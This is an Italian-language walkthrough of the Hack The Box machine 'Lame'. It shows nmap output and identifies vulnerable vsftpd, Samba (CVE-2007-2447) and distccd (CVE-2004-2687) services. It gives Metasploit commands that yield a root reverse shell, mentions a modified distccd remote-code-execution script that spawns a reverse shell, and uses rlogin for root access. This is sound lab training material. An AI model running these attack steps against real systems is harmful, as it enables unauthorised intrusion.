HTB - Lame
Default IP:
Video:
Table of contents:
A seguire è riportato un breve walkthrough della macchina Lame offerta dalla piattaforma Hack the Box.
Iniziamo come al solito utilizzando nmap per effettuare lo scans delle porte per ottenere la seguente situazione:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 20:49 CEST Host is up (0.052s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.70 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 2h00m36s, deviation: 2h49m43s, median: 35s | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2021-07-05T14:50:04-04:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.92 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 20:49 CEST Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 30.84% done; ETC: 20:51 (0:01:36 remaining) Nmap scan report for lame (10.129.171.68) Host is up (0.052s latency). Not shown: 65530 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3632/tcp open distccd Nmap done: 1 IP address (1 host up) scanned in 104.70 seconds
Le porte di interesse dallo scan sono tre, e sono le seguenti:
La porta 21 è interessante in quanto la versione del software vsftpd 2.3.4 è vulnerabile ad una nota backdoor.
La porta 445 è interessante in quanto il protocollo samba è un protocollo critico che potrebbe presentari vari punti di accesso, e la particolare versione che gira sul server è vulnerabile a CVE-2007-2447.
Infine, la porta 3632 è interessante per il servizio che offre, che è vulnearbile a CVE-2004-2687.
L'idea è quella di fare il login anonimo con ftp utilizzando, nello
username, i caratteri :)
per attivare la backdoor nel server nella
porta 6200
.
Notiamo però che in questo particolare server la backdoor non funziona.
È possibile utilizzare un modulo di metasploit per exploitare la CVE-2007-2447.
msfconsole use exploit/multi/samba/usermap_script set RHOSTS lame set LHOST tun0 run
In questo modo otteniamo una root da shell e siamo in grado di
leggere entrambe le flags, sia quella user, situata in
/home/makis/user.txt
, e sia quella root, situata in /root/root.txt
.
Per exploitare questa vulnerabilità ho preso lo script dal seguente link e l'ho modificato leggermente per ottenere il seguente nuovo script: my_distccd_rce.py
Questo script invia un messaggio utilizzando il protocollo distccd per far esegurie al server un comando arbitrario passato tramite lo script.
Utilizzando questo script possiamo spawnare una reverse shell con
l'utente daemon
. Una volta che abbiamo questa shell possiamo
utilizzare il comando
rlogin -l root localhost
per prendere la shell da root e leggere entrambe le flags.